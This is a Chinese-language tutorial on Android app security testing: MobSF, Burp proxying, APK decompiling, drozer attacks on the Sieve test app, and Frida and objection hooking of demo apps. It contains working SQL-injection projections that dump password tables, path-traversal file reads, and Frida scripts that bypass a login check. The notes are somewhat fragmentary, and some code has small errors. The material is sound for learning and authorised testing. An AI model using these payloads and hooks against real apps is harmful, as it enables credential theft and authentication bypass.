wkhtmltopdf
binary to environment variable PATH.git clone https://github.com/MobSF/Mobile-Security-Framework-MobSF.git
cd Mobile-Security-Framework-MobSF
setup.bat
记得访问然后改host文件
https://ipaddress.com/website/raw.githubusercontent.com
run.bat
localhost:8000
多个Android 版本(有些APP可能不兼容)
首先确保和电脑同一网段(能够互通),然后去设置代理
设置-WiFi-长按WiFi名字-修改网络 设置代理为手动
代理服务器主机名为burp的IP地址(也就是本机的) ,端口为监听端口
burp配置
在burp上就可以接收到模拟器上的流量了
模拟器中打开浏览器地址栏输入http://burp,右上角下载证书
打开Amaze左边最近访问文件找到刚刚那个文件重命名后缀为.cer
我这里改不掉,只能通过文件助手找到共享目录然后修改后缀名
------退回首页------设置------安全------从SD卡安装------找到刚刚那个.cer文件------然后安装即可,名字随便,完美
然后回到主页-设置-安全-从sd卡安装,找到cer文件然后安装
安装完成可以收到流量包了
但是模拟器会有一致证书错误的问题,在浏览器右上角点开设置
隐私与安全-显示安全警告关闭再返回就一切正常了
电脑开启热点,然后手机连上
设置代理为上面ip的网关(我这里是.1 ->192.168.137.202)
保存之后,先用电脑访问指定ip端口下载证书
将证书后缀名改为.cer,传输到手机上
安装即可
可以提取出图片文件和布局文件进行使用查看,主要查看res文件下xml文件、AndroidManifest.xml和图片。
https://ibotpeaches.github.io/Apktool/install/
windows配置过程(其实也就是环境变量)
首先将bat文件下载到指定目录
然后将jar文件下载到指定目录
https://bitbucket.org/iBotPeaches/apktool/downloads/
然后为指定目录配置环境变量
然后命令行就可以执行apktool了
输入 apktool d 123.apk
输入 apktool b 123 -o 111.apk
将classes.dex转化成jar文件
将APK直接解压(修改后缀名为.zip,然后解压)后,可以看到目录下包含一个classes.dex文件。
如下图所示,而我们的源码就在这个classes.dex 文件中。
然后放入d2j-dex2jar目录下
.\d2j-dex2jar.bat classes.dex
会得到classes-dex2jar.jar文件
查看jar文件进行漏洞分析
更加直接获取
解包全局找http,当web来打
全局扫描可以用mobsf,组件等测试使用的drozer(mobsf动态扫描也可以但是结果不太准确),hook使用的是XposedBridge和frida。以上是个人经验
Activity是Android组件中最基本也是最为常见用的四大组件之一。
Activity是一个应用程序组件,提供一个屏幕,用户可以用来交互为了完成某项任务。
Activity中所有操作都与用户密切相关,是一个负责与用户交互的组件,可以通过setContentView(View)来显示指定控件。
在一个android应用中,一个Activity通常就是一个单独的屏幕,它上面可以显示一些控件也可以监听并处理用户的事件做出响应。Activity之间通过Intent进行通信。
Service 也是Android 四大组件之一,有着非常重要的作用。
Service 被设计为在后台长时间执行而不需要提供页面的任务。
Service有两种启动方式,startService与bindService
(1)android平台提供了Content Provider使一个应用程序的指定数据集提供给其他应用程序。其他应用可以通过ContentResolver类从该内容提供者中获取或存入数据。
(2)只有需要在多个应用程序间共享数据是才需要内容提供者。例如,通讯录数据被多个应用程序使用,且必须存储在一个内容提供者中。它的好处是统一数据访问方式。
(3)ContentProvider实现数据共享。ContentProvider用于保存和获取数据,并使其对所有应用程序可见。这是不同应用程序间共享数据的唯一方式,因为android没有提供所有应用共同访问的公共存储区。
(4)开发人员不会直接使用ContentProvider类的对象,大多数是通过ContentResolver对象实现对ContentProvider的操作。
(5)ContentProvider使用URI来唯一标识其数据集,这里的URI以content://作为前缀,表示该数据由ContentProvider来管理。
在Android中,广播是一种广泛运用的在应用程序之间传输信息的机制。而广播接收器是对发送出来的广播进行过滤接受并响应的一类组件。可以使用广播接收器来让应用对一个外部时间做出响应。例如,当电话呼入这个外部事件到来时,可以利用广播接收器进行处理。当下载一个程序成功完成时,仍然可以利用广播接收器进行处理。广播接收器不NotificationManager来通知用户这些事情发生了。广播接收器既可以在AndroidManifest.xml中注册,也可以在运行时的代码中使用Context.registerReceive()进行注册。只要是注册了,当事件来临时,即使程序没有启动,系统也在需要的时候启动程序。各种应用还可以通过使用Context.sendBroadcast()将它们自己的Intent广播给其他应用程序。
Drozer是一款领先的Android安全测试框架
https://labs.f-secure.com/tools/drozer/
运行Drozer需要java环境、python27环境、adb调试工具、真实手机、夜神安卓模拟器、Drozer-2.4.4、drozer-agent-2.3.4。
操作系统:Windows10专业版
JAVA环境:jdk1.8.0_241
Python环境:Python 2.7.17
adb即安卓调试桥,是一个命令行窗口工具,用于PC端与安卓设备进行交互,官网下载安装包和Android通用驱动,一键安装,配置环境变量。
https://adbshell.com/downloads
添加好Path环境变量,命令行测试
4、Drozer安装
首先从官网下载电脑端drozer和手机端安装包
官网:https://labs.f-secure.com/tools/drozer/
打开msi文件直接安装,再安装过程中会遇到设置运行环境的问题,因为检测到的环境是python3,所以要手动指定python 2.7环境,一路next即可。
5、Drozer-agent安装
这里夜神模拟器直接指定即可
一般adb devices即可
如果无法连接,可以尝试重启模拟器
或者找到NoxVMHandle.exe对应的PID,这里是2608,再根据此PID查找模拟器和电脑连接的TCP端口,并找到127.0.0.1:62xxx的地址。
tasklist | findstr "Nox" --查看任务列表
netstat -ano | findstr PID --显示此PID的网络连接情况
adb connect 127.0.0.1:62001
adb shell
tips:这里为什么adb老是重连是因为nox自带adb,将自己adb覆盖掉nox/bin下的adb.exe和nox_adb.exe即可
首先配置drozer agent
开启
开始连接,drozer Server默认监听端口为31415,同样需要与主机上的31415端口进行通信。
adb forward tcp:31415 tcp:31415
--端口转发
启动drozer
drozer console connect
测试app可从drozer官网下载得到
1、安装测试app
2、打开app根据提示为其设置一些信息,以供后期使用(这里密码最小16位,不能含有特殊字符,PIN码和其他信息随便填)
密码:qwertyuiopasdfghjkl,pin:1229
new password
service:test
username:lyy
email:[email protected]
password:123456
3.首先获取Android设备里的指定app
run app.package.list -f sieve
会乱码,所以需要修改中的drozer\modules\app\package.py开头加上
import sys
reload(sys)
sys.setdefaultencoding('utf-8')
再次运行
4、获取一下该应用的基本信息,可以看到该APP的安装路径及数据目录
run app.package.info -a 包名
run app.package.info -a com.mwr.example.sieve
5、接下来看看该app是否有暴露的组件攻击面,组件暴露可能导致敏感信息泄露、拒绝服务、权限提升绕过,界面劫持、远程代码执行等安全漏洞
run app.package.attacksurface 包名
run app.package.attacksurface com.mwr.example.sieve
根据测试的返回信息可以看出暴露了3个activity组件,2个provisers组件,2个services组件,并且可被调试。
6、对暴露的activity组件进行攻击,可以显示一些控件也可以监听并处理用户的事件做出响应。暴露的activity意味着可以被导出,可以分析是否存在数据泄露。
run app.activity.info -a 包名
run app.activity.info -a com.mwr.example.sieve
返回了三个组件信息,第一个应该是跟文件有关系,第二个应该是和登录有关系,第三个应该是和密码相关,那activity组件暴露意味着是否存在越权漏洞,绕过前端登录,一个个给他试试。
7、启动暴露的组件信息
启动一次需要重启adb一次?,且需要开着app
run app.activity.start -–component 包名 组件名
run app.activity.start -–component com.mwr.example.sieve com.mwr.example.sieve.FileSelectActivity
run app.activity.start -–component com.mwr.example.sieve com.mwr.example.sieve.MainLoginActivity
run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
8、再测一下Content Provider组件,获取一下它的信息,可以获取到该app还和哪些应用程序有交互,使它指定的一些数据集提供给其他应用程序。那这里可以看到应该是有一些数据库交互,文件备份之类的信息。
run app.provider.info -a 包名
run app.provider.info -a com.mwr.example.sieve
9、一个应用,肯定是有URI(统一资源标志符),用于指向一个资源的字符串,可以是指向本地,也可以是指向互联网,URL一定是URI,但URI不一定是URL。获取一下该app可以访问的URI:
run scanner.provider.finduris -a com.mwr.example.sieve
那这个信息就很敏感了
10、访问一下URI所指向的资源
run app.provider.query 查询到的URI
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords
11、对可以访问的URI进行SQL注入,来,试一下获取个人信息这个库所有的表。
run app.provider.query 查询到的URI --projection "* FROM SQLITE_MASTER WHERE type='table';--"
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"
12、获取一下Passwords和Key这两个表的数据,成功的通过SQL注入获取信息。当然,可以对这些可访问的URI尝试进行操作,如果在注入的过程中报错的话,那就存在SQL注入漏洞。
run app.provider.query URI --projection "* FROM 表名;--"
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Passwords;--"
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"
13、当然也可以用模块进行批量的检测哪些URI存在SQL注入漏洞,可以看到很多的SQL注入漏洞,一个个试一下。
run scanner.provider.injection -a com.mwr.example.sieve
14、检测一下是否存在目录遍历漏洞,目录遍历可造成网站信息可被任意访问,敏感数据泄露,扫描到这么多呢。
run scanner.provider.traversal -a com.mwr.example.sieve
15、由于Android基于Linux内核开发,那利用这个目录遍历漏洞查看一下hosts文件吧。
run app.provider.read 遍历路径/文件路径
run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
16、那顺便再把它的数据库也给下载下来,也算是要结束了。
run app.provider.download 数据库URI 本地路径/备份文件名.db
run app.provider.download 数据库URI 本地路径/备份文件名.db
Frida是一款基于Python
+ JavaScript
的hook框架,本质是一种动态插桩技术,可以插入一些代码到原生app
的内存空间去(动态地监视和修改其行为)。其使用了C-S
模型,利用Frida内核和谷歌V8引擎hook进程。可以轻松实现Windows
、Linux
、Android
、IOS
、Mac
平台的动态插桩需求,单从Android
层面理解,它可以实现Java
层和Native
层Hook
操作。
Frida
分为客户端和服务端,客户端通过Python
代码将需要被注入的JS
代码提交到服务端,然后接受服务端消息;服务端接受JS
代码并将其注入到目标进程中,操作内存空间然后给客户端发送消息。
Hook原理
Hook的本质就是劫持函数调用。由于处于Linux用户态,每个进程都有自己独立的进程空间,所以必须先注入到所要Hook的进程空间,修改其内存中的进程代码,替换其过程表的符号地址。在Android中一般是通过ptrace函数附加进程,然后向远程进程注入so库,从而达到监控以及远程进程关键函数挂钩。
一般Frida逆向三阶段:
frida
python3 -m pip install frida-tools
frida-server
要和frida对应
https://github.com/frida/frida/releases
安卓手机架构
adb shell getprop ro.product.cpu.abi
给与权限然后运行
adb push frida-server-15.1.17-android-arm /data/local/tmp
adb shell
chmod 755 /data/local/tmp/frida-server-15.1.17-android-x86
./frida-server-14.2.18-android-arm
/data/local/tmp/frida-server-15.1.17-android-x86
端口映射
adb forward tcp:27042 tcp:27042
adb forward tcp:27043 tcp:27043
查看进程,成功即可
frida-ps -U
frida-ps -U | grep frida
frida-trace -i "open" -U "cn.gemini.k.fridatest"
用的比较多都是frida帮我们生成好了hook代码,直接拿来使用就行,简单方便,但有时候我们想自己定制些功能怎么办?
编写js进行hook
接下来看下如何通过编写js代码来实现对安卓APP中某些方法的hook。
在hook之前首先要熟悉我们需要hook的目标方法,应用包名,参数等基础信息。这里简单写了个demo,后面我们都通过这个demo来学习。
package com.example.frida;
import androidx.appcompat.app.AppCompatActivity;
import android.os.Bundle;
import android.util.Log;
public class MainActivity extends AppCompatActivity {
private String total = "@@@###@@@";
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
while (true){
try {
Thread.sleep(1000);
} catch (InterruptedException e) {
e.printStackTrace();
}
fun(50,30);
Log.d("Minhal.string" , fun("Fuck U!!!!!!!!!"));
}
}
void fun(int x , int y ){
Log.d("Minhal.Sum" , String.valueOf(x+y));
}
String fun(String x){
total +=x;
return x.toLowerCase();
}
String secret(){
return total;
}
}
整理一下hook时需要的信息:
目标应用的包名:“cn.gemini.k.fridatest”(一般在AndroidManifest.xml文件中可以找到)
目标方法所在类的类名:“cn.gemini.k.fridatest.FridaHook1”;
最后是目标方法名和参数:public int func1_add(int a,int b)
没有源码的情况下这些信息都可以通过反编译工具jadx或jeb获取。
接下来开始编写hook代码,首先是python文件
import time
import frida
# 连接安卓机上的frida-server
device = frida.get_usb_device(10)
# 启动`demo02`这个app
pid = device.spawn(["com.example.frida"])
device.resume(pid)#通过pid重新启动
time.sleep(1)
session = device.attach(pid)
# 加载1.js脚本
with open("1.js") as f:
script = session.create_script(f.read())#上一步连接到的session 去执行js
script.load()
# 脚本会持续运行等待输入
input()
1.js脚本内容
console.log("Script loaded successfully ");
Java.perform(function x() {
console.log("Inside java perform function");
//定位类
console.log("begin");
Java.choose("com.example.frida.MainActivity" , {
onMatch : function(instance){ //该类有多少个实例,该回调就会被触发多少次
console.log("Found instance: "+instance);
console.log("Result of secret func: " + instance.secret());
},
onComplete:function(){}
});
console.log("end");
var my_class = Java.use("com.example.frida.MainActivity");
var string_class = Java.use("java.lang.String"); //获取String类型
console.log("Java.Use.Successfully!");//定位类成功!
//在这里更改类的方法的实现(implementation)
my_class.fun.overload("int" , "int").implementation = function(x,y){
//打印替换前的参数
console.log( "original call: fun("+ x + ", " + y + ")");
//把参数替换成2和5,依旧调用原函数
var ret_value = this.fun(2, 5);
return ret_value;
}
my_class.fun.overload("java.lang.String").implementation = function(x){
console.log("*************************************");
var my_string = string_class.$new("lyyy"); //new一个新字符串
console.log("Original arg: " +x );
var ret = this.fun(my_string); // 用新的参数替换旧的参数,然后调用原函数获取结果
console.log("Return value: "+ret);
console.log("*************************************");
return ret;
};
});
执行python脚本,这里需要提前启动frida-server
adb shell
/data/local/tmp/frida-server-15.1.17-android-x86
这里成功将参数以及返回结果修改为lyyy
这个实例主要是实现在py脚本中也可以调用secret函数。这里主要是使用的frida提供的RPC功能(Remote Procedure Call)
apk文件还是上一个样例的文件。
现在修改下js脚本。
console.log("Script loaded successfully ");
function callsecretFun(){
Java.perform(function x() {
console.log("Inside java perform function");
//定位类
console.log("begin");
Java.choose("com.example.frida.MainActivity" , {
onMatch : function(instance){ //该类有多少个实例,该回调就会被触发多少次
console.log("Found instance: "+instance);
console.log("Result of secret func: " + instance.secret());
},
onComplete:function(){}
});
console.log("end");
});
}
rpc.exports = {
callsecretfunction:callsecretFun//把callSecretFun函数导出为callsecretfunction符号,导出名不可以有大写字母或者下划线
};
对应python
import time
import frida
# 连接安卓机上的frida-server
device = frida.get_usb_device(10)
# 启动`demo02`这个app
pid = device.spawn(["com.example.frida"])
device.resume(pid)
time.sleep(1)
session = device.attach(pid)
# 加载s1.js脚本
with open("2.js") as f:
script = session.create_script(f.read())
script.load()
command = ""
while 1 == 1:
command = input("Enter command:\n1: Exit\n2: Call secret function\nchoice:")
if command == "1":
break
elif command == "2": #在这里调用
script.exports.callsecretfunction()
成功的调用了secret函数
打印了@@@###@@@
这里主要实现的功能不仅仅是可以用python调用app的函数。还要做到把数据从app传到python程序中,通过python代码修改传回到app里。
app代码:
import androidx.appcompat.app.AppCompatActivity;
import android.os.Bundle;
import android.util.Base64;
import android.view.View;
import android.widget.EditText;
import android.widget.TextView;
public class MainActivity extends AppCompatActivity {
EditText username_et;
EditText password_et;
TextView message_tv;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
password_et = (EditText) this.findViewById(R.id.editText2);
username_et = (EditText) this.findViewById(R.id.editText);
message_tv = ((TextView) findViewById(R.id.textView));
this.findViewById(R.id.button).setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
if (username_et.getText().toString().compareTo("admin") == 0) {
message_tv.setText("You cannot login as admin");
return;
}
//hook target
message_tv.setText("Sending to the server :" + Base64.encodeToString((username_et.getText().toString() + ":" + password_et.getText().toString()).getBytes(), Base64.DEFAULT));
}
});
}
}
activity_main.xml文件
1.id要对应
2.页面挤压时用
<androidx.constraintlayout.widget.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:app="http://schemas.android.com/apk/res-auto"
xmlns:tools="http://schemas.android.com/tools"
android:layout_width="match_parent"
android:layout_height="match_parent"
tools:context=".MainActivity">
<Button
android:id="@+id/button"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_marginStart="4dp"
android:layout_marginTop="55dp"
android:text="login"
app:layout_constraintStart_toStartOf="parent"
app:layout_constraintTop_toBottomOf="@+id/editTextTextPersonName2" />
<EditText
android:id="@+id/editTextTextPersonName"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_marginStart="10dp"
android:layout_marginTop="150dp"
android:layout_marginBottom="150dp"
android:ems="10"
android:inputType="textPersonName"
android:text="Name"
app:layout_constraintBottom_toBottomOf="@+id/editTextTextPersonName2"
app:layout_constraintStart_toStartOf="parent"
app:layout_constraintTop_toTopOf="parent" />
<EditText
android:id="@+id/editTextTextPersonName2"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_marginStart="10dp"
android:layout_marginTop="300dp"
android:ems="10"
android:inputType="textPersonName"
android:text="passowrd"
app:layout_constraintStart_toStartOf="parent"
app:layout_constraintTop_toTopOf="parent" />
<TextView
android:id="@+id/textView3"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_marginStart="4dp"
android:layout_marginTop="16dp"
android:text="adminmanager"
app:layout_constraintStart_toStartOf="parent"
app:layout_constraintTop_toTopOf="parent" />
androidx.constraintlayout.widget.ConstraintLayout>
接下来操作是python代码获取输入内容,并修改输入内容然后传输到app,通过验证。(包括admin)
js代码主要实现是先截到输入内容,传输到python代码,然后等python传入新数据继续执行。
js代码
console.log("Script loaded successfully ");
Java.perform(function () {
var tv_class = Java.use("android.widget.textView3");
tv_class.setText.overload("java.lang.CharSequence").implementation = function (x) {
var string_to_send = x.toString();
var string_to_recv;
console.log("Script loaded successfully ");
send(string_to_send); // 将数据发送给python的python代码
recv(function (received_json_object) {
string_to_recv = received_json_object.my_data
console.log("string_to_recv: " + string_to_recv);
}).wait(); //收到数据之后,再执行下去
var my_string = Java.use("java.lang.String").$new(string_to_recv);
this.setText(my_string);
}
});
python代码
import time
import frida
import base64
def my_message_handler(message, payload):
print(message)
print(payload)
if message["type"] == "send":
print (message["payload"])
data = message["payload"].split(":")[1].strip()
print(data)
print ('message:', message)
data = str(base64.b64decode(data))
user,pw = data.split(":")
print("user:",user)
data =str(base64.b64encode(("admin" + ":" + pw).encode()))
print ("encoded data:", data)
script.post({"my_data": data}) # 将JSON对象发送回去
print ("Modified data sent")
# 连接安卓机上的frida-server
device = frida.get_usb_device(10)
# 启动`demo02`这个app
pid = device.spawn(["com.example.frida"])
device.resume(pid)
time.sleep(1)
session = device.attach(pid)
# 加载a.js脚本
with open("3.js") as f:
script = session.create_script(f.read())
script.on("message", my_message_handler)
script.load()
input()
直接运行python代码,然后输入新的用户名和密码,我们原程序是本来不可以输入admin的,我们本代码就是通过输入其他内容,通过frida更改他的用户名参数,使得输入内容用户名为admin。
执行结果如下:
就是绕过了if语句提交了用户名为admin的post请求
if (username_et.getText().toString().compareTo("admin") == 0) {
message_tv.setText("You cannot login as admin");
return;
}
实现了动态内容的修改
python3 -m pip install objection
首先介绍几个基本操作:
help
比如,help env
,回车之后会出现当前命令的解释信息;hook
)作业;我们以安卓内置应用“设置”为例,来示范一下基本的用法。
在手机上启动frida-server
,并且点击启动“设置”图标,手机进入设置的界面,首先查看一下“设置”应用的包名。
frida-ps -U
再使用objection
注入“设置”应用。
objection -g com.android.settings explore
启动objection
之后,会出现提示它的logo
,这时候不知道输入啥命令的话,可以按下空格,有提示的命令及其功能出来;再按空格选中,又会有新的提示命令出来,这时候按回车就可以执行该命令
运行命令memory list modules
运行命令memory list exports libssl.so
json
文件中当结果太多,终端无法全部显示的时候,可以将结果导出到文件中,然后使用其他软件查看内容
# memory list exports libart.so --json /root/libart.json
Writing exports as json to /root/libart.json...
Wrote exports to: /root/libart.json
命令是memory dump all from_base
,这部分内容与下文脱壳部分有重叠,我们在脱壳部分介绍用法。
命令是memory search --string --offsets-only
,这部分也与下文脱壳部分有重叠,我们在脱壳部分详细介绍用法。
下载
https://developer.android.com/studio
将代码放入MainActivity
且用adb连接上模拟器之后run即可